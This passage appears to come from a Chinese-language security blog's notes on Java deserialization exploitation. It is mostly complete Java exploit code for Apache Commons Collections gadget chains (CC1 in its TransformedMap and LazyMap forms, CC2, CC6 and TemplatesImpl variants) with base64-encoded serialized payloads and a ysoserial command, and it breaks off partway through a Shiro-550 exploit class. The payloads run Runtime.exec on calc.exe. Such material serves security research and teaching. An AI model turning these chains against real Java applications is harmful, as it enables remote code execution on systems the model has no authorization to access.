constructor.newInstance(Retention.class, outerMap); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); BASE64Encoder b64 = new BASE64Encoder(); String encode = b64.encode(byteArrayOutputStream.toByteArray()); String msg = encode.replaceAll(\u0026#34;(\\\\\\r\\\\\\n|\\\\\\r|\\\\\\n|\\\\\\n\\\\\\r)\u0026#34;, \u0026#34;\u0026#34;); System.out.println(msg); } } //CommonCollectionsDeserializeDemo1.java import sun.misc.BASE64Decoder; import java.io.ByteArrayInputStream; import java.io.ObjectInputStream; public class CommonCollectionsDeserializeDemo1 { public static void main(String[] args) throws Exception{ String b64str = \u0026#34;rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzcgAxb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5UcmFuc2Zvcm1lZE1hcGF3P+Bd8VpwAwACTAAOa2V5VHJhbnNmb3JtZXJ0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO0wAEHZhbHVlVHJhbnNmb3JtZXJxAH4ABXhwcHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAARzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGQAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABlzcQB+ABF1cQB+ABYAAAACcHVxAH4AFgAAAAB0AAZpbnZva2V1cQB+ABkAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAWc3EAfgARdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQACGNhbGMuZXhldAAEZXhlY3VxAH4AGQAAAAFxAH4AHnNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAAFdmFsdWV0AAR4eHh4eHh2cgAeamF2YS5sYW5nLmFubm90YXRpb24uUmV0ZW50aW9uAAAAAAAAAAAAAAB4cA==\u0026#34;; BASE64Decoder b64 = new BASE64Decoder(); byte[] bytes = b64.decodeBuffer(b64str); ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes)); in.readObject(); } } Java对象代理 示范\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 //ExampleInvocationHandler.java import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.util.Map; public class ExampleInvocationHandler implements InvocationHandler { protected Map map; public ExampleInvocationHandler(Map map) { this.map = map; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { if (method.getName().compareTo(\u0026#34;get\u0026#34;) == 0) { System.out.println(\u0026#34;HOOK Method: \u0026#34; + method.getName()); return \u0026#34;Hacked by L1ao\u0026#34;; } return method.invoke(this.map, args); } } //AppTest.java import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class AppTest { public static void main(String[] args) throws Exception { InvocationHandler handler = new ExampleInvocationHandler(new HashMap()); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class},handler); proxyMap.put(\u0026#34;hello\u0026#34;,\u0026#34;world\u0026#34;); String result = (String) proxyMap.get(\u0026#34;hello\u0026#34;); System.out.println(result); } } /* * 运行AppTest输出: * HOOK Method: get * Hacked by L1ao * */ LazyMap版 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 //CommonCollections1.java LazyMap版 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap; import sun.misc.BASE64Encoder; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class CommonCollections1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(\u0026#34;getMethod\u0026#34;, new Class[] { String.class, Class[].class }, new Object[] { \u0026#34;getRuntime\u0026#34;, new Class[0] }), new InvokerTransformer(\u0026#34;invoke\u0026#34;, new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer(\u0026#34;exec\u0026#34;, new Class[] { String.class }, new String[] {\u0026#34;powershell -c \\\u0026#34;calc|calc\\\u0026#34;\u0026#34; }), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put(\u0026#34;value\u0026#34;,\u0026#34;xxxx\u0026#34;); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName(\u0026#34;sun.reflect.annotation.AnnotationInvocationHandler\u0026#34;); Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler)constructor.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[] {Map.class},handler) ; handler = (InvocationHandler) constructor.newInstance(Retention.class,proxyMap); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(handler); BASE64Encoder b64 = new BASE64Encoder(); String encode = b64.encode(byteArrayOutputStream.toByteArray()); String msg = encode.replaceAll(\u0026#34;(\\\\\\r\\\\\\n|\\\\\\r|\\\\\\n|\\\\\\n\\\\\\r)\u0026#34;, \u0026#34;\u0026#34;); System.out.println(msg); } } yso命令\n1 java -jar ysoserial.jar CommonsCollections1 \u0026#39;powershell -c \u0026#34;calc|calc\u0026#34;\u0026#39; |base64 Collections2 java.util.PriorityQueue\norg.apache.commons.collections4.comparators.TransformingComparator\nTransformer 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 package org.example; /** * @author L1ao * @version 1.0 */ import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Comparator; import java.util.Base64; import java.util.PriorityQueue; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; public class CommonCollections2 { public static void main(String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer( \u0026#34;getMethod\u0026#34;, new Class[]{String.class, Class[].class}, new Object[]{\u0026#34;getRuntime\u0026#34;, new Class[0]} ), new InvokerTransformer( \u0026#34;invoke\u0026#34;, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), new InvokerTransformer( \u0026#34;exec\u0026#34;, new Class[]{String.class}, new String[]{\u0026#34;calc.exe\u0026#34;} ) }; Transformer transformerChain = new ChainedTransformer(fakeTransformers); Comparator comparator = new TransformingComparator(transformerChain); PriorityQueue queue = new PriorityQueue(2, comparator); queue.add(1); queue.add(2); setFieldValue(transformerChain, \u0026#34;iTransformers\u0026#34;, transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); String barrBase64 = Base64.getEncoder().encodeToString(barr.toByteArray()); System.out.println(barrBase64); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(barrBase64))); Object o = (Object) ois.readObject(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } } TemplatesImpl(基于CC2) 在禁用Transformer数组时\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 package org.example; import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.Comparator; import java.util.Base64; import java.util.PriorityQueue; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; public class CommonCollections22 { public static void main(String[] args) throws Exception { TemplatesImpl templatesImplObj = new TemplatesImpl(); setFieldValue(templatesImplObj, \u0026#34;_bytecodes\u0026#34;, new byte[][] {getBytescode(HelloTemplatesImpl.class)}); setFieldValue(templatesImplObj, \u0026#34;_name\u0026#34;, \u0026#34;HelloTemplatesImpl\u0026#34;); setFieldValue(templatesImplObj, \u0026#34;_tfactory\u0026#34;, new TransformerFactoryImpl()); Transformer transformer = new InvokerTransformer(\u0026#34;toString\u0026#34;,null,null); Comparator comparator = new TransformingComparator(transformer); PriorityQueue queue = new PriorityQueue(2, comparator); queue.add(templatesImplObj); queue.add(templatesImplObj); setFieldValue(transformer, \u0026#34;iMethodName\u0026#34;, \u0026#34;newTransformer\u0026#34;); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); String barrBase64 = Base64.getEncoder().encodeToString(barr.toByteArray()); System.out.println(barrBase64); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(barrBase64))); Object o = (Object) ois.readObject(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static byte[] getBytescode(Class\u0026lt;?\u0026gt; clazz) throws Exception { String className = clazz.getName().replace(\u0026#39;.\u0026#39;, \u0026#39;/\u0026#39;) + \u0026#34;.class\u0026#34;; URL classUrl = clazz.getClassLoader().getResource(className); try (InputStream in = classUrl.openStream(); ByteArrayOutputStream out = new ByteArrayOutputStream()) { byte[] buffer = new byte[4096]; int n; while ((n = in.read(buffer)) \u0026gt; 0) { out.write(buffer, 0, n); } byte[] classBytes = out.toByteArray(); return classBytes; } } } Collections6 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 package com.sec.test; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap; import sun.misc.BASE64Encoder; import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; /** * @author L1ao * @version 1.0 */ public class CommonCollections6 { public static void main(String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer[]{ new ConstantTransformer(1) }; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer(\u0026#34;getMethod\u0026#34;, new Class[] { String.class, Class[].class }, new Object[] { \u0026#34;getRuntime\u0026#34;, new Class[0] }), new InvokerTransformer(\u0026#34;invoke\u0026#34;, new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer(\u0026#34;exec\u0026#34;, new Class[] { String.class }, new String[] {\u0026#34;calc.exe\u0026#34; }), }; Transformer transformerChain = new ChainedTransformer(fakeTransformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,\u0026#34;key\u0026#34;); Map expMap = new HashMap(); expMap.put(tiedMapEntry,\u0026#34;value\u0026#34;); outerMap.remove(\u0026#34;key\u0026#34;); Field f = ChainedTransformer.class.getDeclaredField(\u0026#34;iTransformers\u0026#34;); f.setAccessible(true); f.set(transformerChain,transformers); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(expMap); objectOutputStream.close(); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); Object o = (Object)ois.readObject(); BASE64Encoder b64 = new BASE64Encoder(); String encode = b64.encode(byteArrayOutputStream.toByteArray()); String msg = encode.replaceAll(\u0026#34;(\\\\\\r\\\\\\n|\\\\\\r|\\\\\\n|\\\\\\n\\\\\\r)\u0026#34;, \u0026#34;\u0026#34;); System.out.println(msg); } } TemplatesImpl(基于CC1) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 package com.sec.test; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import sun.misc.BASE64Decoder; import sun.misc.BASE64Encoder; import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; import java.util.Map; /** * @author L1ao * @version 1.0 */ public class CommonCollections1 { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } private static String getClassBytes(Class\u0026lt;?\u0026gt; clazz) throws Exception { String className = clazz.getName().replace(\u0026#39;.\u0026#39;, \u0026#39;/\u0026#39;) + \u0026#34;.class\u0026#34;; URL classUrl = clazz.getClassLoader().getResource(className); try (InputStream in = classUrl.openStream(); ByteArrayOutputStream out = new ByteArrayOutputStream()) { byte[] buffer = new byte[4096]; int n; while ((n = in.read(buffer)) \u0026gt; 0) { out.write(buffer, 0, n); } byte[] classBytes = out.toByteArray(); String base64Class = new BASE64Encoder().encode(classBytes); String msg = base64Class.replaceAll(\u0026#34;(\\\\\\r\\\\\\n|\\\\\\r|\\\\\\n|\\\\\\n\\\\\\r)\u0026#34;, \u0026#34;\u0026#34;); return msg; } } public static void main(String[] args) throws Exception { BASE64Decoder base64Decoder = new BASE64Decoder(); byte[] code = base64Decoder.decodeBuffer(getClassBytes(evil.HelloTemplatesImpl.class)); TemplatesImpl templatesImplObj = new TemplatesImpl(); setFieldValue(templatesImplObj, \u0026#34;_bytecodes\u0026#34;, new byte[][] {code}); setFieldValue(templatesImplObj, \u0026#34;_name\u0026#34;, \u0026#34;HelloTemplatesImpl\u0026#34;); setFieldValue(templatesImplObj, \u0026#34;_tfactory\u0026#34;, new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[] { new ConstantTransformer(templatesImplObj), new InvokerTransformer(\u0026#34;newTransformer\u0026#34;,null,null) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put(\u0026#34;value\u0026#34;,\u0026#34;xxxx\u0026#34;); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); Class clazz = Class.forName(\u0026#34;sun.reflect.annotation.AnnotationInvocationHandler\u0026#34;); Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); Object obj = constructor.newInstance(Retention.class, outerMap); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); BASE64Encoder b64 = new BASE64Encoder(); String encode = b64.encode(byteArrayOutputStream.toByteArray()); String msg = encode.replaceAll(\u0026#34;(\\\\\\r\\\\\\n|\\\\\\r|\\\\\\n|\\\\\\n\\\\\\r)\u0026#34;, \u0026#34;\u0026#34;); System.out.println(msg); } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package evil; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class HelloTemplatesImpl extends AbstractTranslet { public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} public HelloTemplatesImpl() { super(); System.out.println(\u0026#34;Hello TemplatesImpl\u0026#34;); try { Runtime.getRuntime().exec(\u0026#34;calc.exe\u0026#34;); }catch (Exception e) { } } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package com.sec.test; import sun.misc.BASE64Decoder; import java.io.ByteArrayInputStream; import java.io.ObjectInputStream; /** * @author L1ao * @version 1.0 */ public class CommonCollectionsDeserializeDemo1 { public static void main(String[] args) throws Exception { String b64str = \u0026#34;rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzcgAxb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5UcmFuc2Zvcm1lZE1hcGF3P+Bd8VpwAwACTAAOa2V5VHJhbnNmb3JtZXJ0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO0wAEHZhbHVlVHJhbnNmb3JtZXJxAH4ABXhwcHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAJzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMACUkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFoAFV91c2VTZXJ2aWNlc01lY2hhbmlzbUwAGV9hY2Nlc3NFeHRlcm5hbFN0eWxlc2hlZXR0ABJMamF2YS9sYW5nL1N0cmluZztMAAtfYXV4Q2xhc3Nlc3QAO0xjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9IYXNodGFibGU7WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+ABBMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////AHQAA2FsbHB1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAAGPMr+ur4AAAAzAD0KAAoAJAkAJQAmCAAnCgAoACkKACoAKwgALAoAKgAtBwAuBwAvBwAwAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABlMZXZpbC9IZWxsb1RlbXBsYXRlc0ltcGw7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHADEBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgEADVN0YWNrTWFwVGFibGUHAC8HAC4BAApTb3VyY2VGaWxlAQAXSGVsbG9UZW1wbGF0ZXNJbXBsLmphdmEMAB0AHgcAMgwAMwA0AQATSGVsbG8gVGVtcGxhdGVzSW1wbAcANQwANgA3BwA4DAA5ADoBAAhjYWxjLmV4ZQwAOwA8AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAF2V2aWwvSGVsbG9UZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAJAAoAAAAAAAMAAQALAAwAAgANAAAAPwAAAAMAAAABsQAAAAIADgAAAAYAAQAAAAoADwAAACAAAwAAAAEAEAARAAAAAAABABIAEwABAAAAAQAUABUAAgAWAAAABAABABcAAQALABgAAgANAAAASQAAAAQAAAABsQAAAAIADgAAAAYAAQAAAAwADwAAACoABAAAAAEAEAARAAAAAAABABIAEwABAAAAAQAZABoAAgAAAAEAGwAcAAMAFgAAAAQAAQAXAAEAHQAeAAEADQAAAHYAAgACAAAAGiq3AAGyAAISA7YABLgABRIGtgAHV6cABEyxAAEADAAVABgACAADAA4AAAAaAAYAAAAOAAQADwAMABEAFQAUABgAEgAZABYADwAAAAwAAQAAABoAEAARAAAAHwAAABAAAv8AGAABBwAgAAEHACEAAAEAIgAAAAIAI3B0ABJIZWxsb1RlbXBsYXRlc0ltcGxwdwEAeHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAQWwALaVBhcmFtVHlwZXNxAH4AE3hwcHQADm5ld1RyYW5zZm9ybWVycHNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAAFdmFsdWV0AAR4eHh4eHh2cgAeamF2YS5sYW5nLmFubm90YXRpb24uUmV0ZW50aW9uAAAAAAAAAAAAAAB4cA==\u0026#34;; BASE64Decoder b64 = new BASE64Decoder(); byte[] bytes = b64.decodeBuffer(b64str); ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes)); in.readObject(); } } 不使用InvokerTransformer\n1 2 3 4 5 6 Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templatesImplObj }) }; shiro 550 tomcat9以上不支持java1.7jre，改用tomcat8\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 package com.sec.test; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import org.apache.shiro.util.ByteSource; import sun.misc.BASE64Decoder; import sun.misc.BASE64Encoder; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; import org.apache.shiro.crypto.AesCipherService; public class CommonCollectionsAllKillShiro { public static void main(String[] args) throws Exception { BASE64Decoder base64Decoder = new BASE64Decoder(); byte[] code = base64Decoder.decodeBuffer(CommonCollections1.getClassBytes(evil.HelloTemplatesImpl.class)); //TemplatesImpl对象 TemplatesImpl templatesImplObj = new TemplatesImpl(); CommonCollections1.setFieldValue(templatesImplObj, \u0026#34;_bytecodes\u0026#34;, new byte[][] {code}); CommonCollections1.setFieldValue(templatesImplObj, \u0026#34;_name\u0026#34;, \u0026#34;HelloTemplatesImpl\u0026#34;); 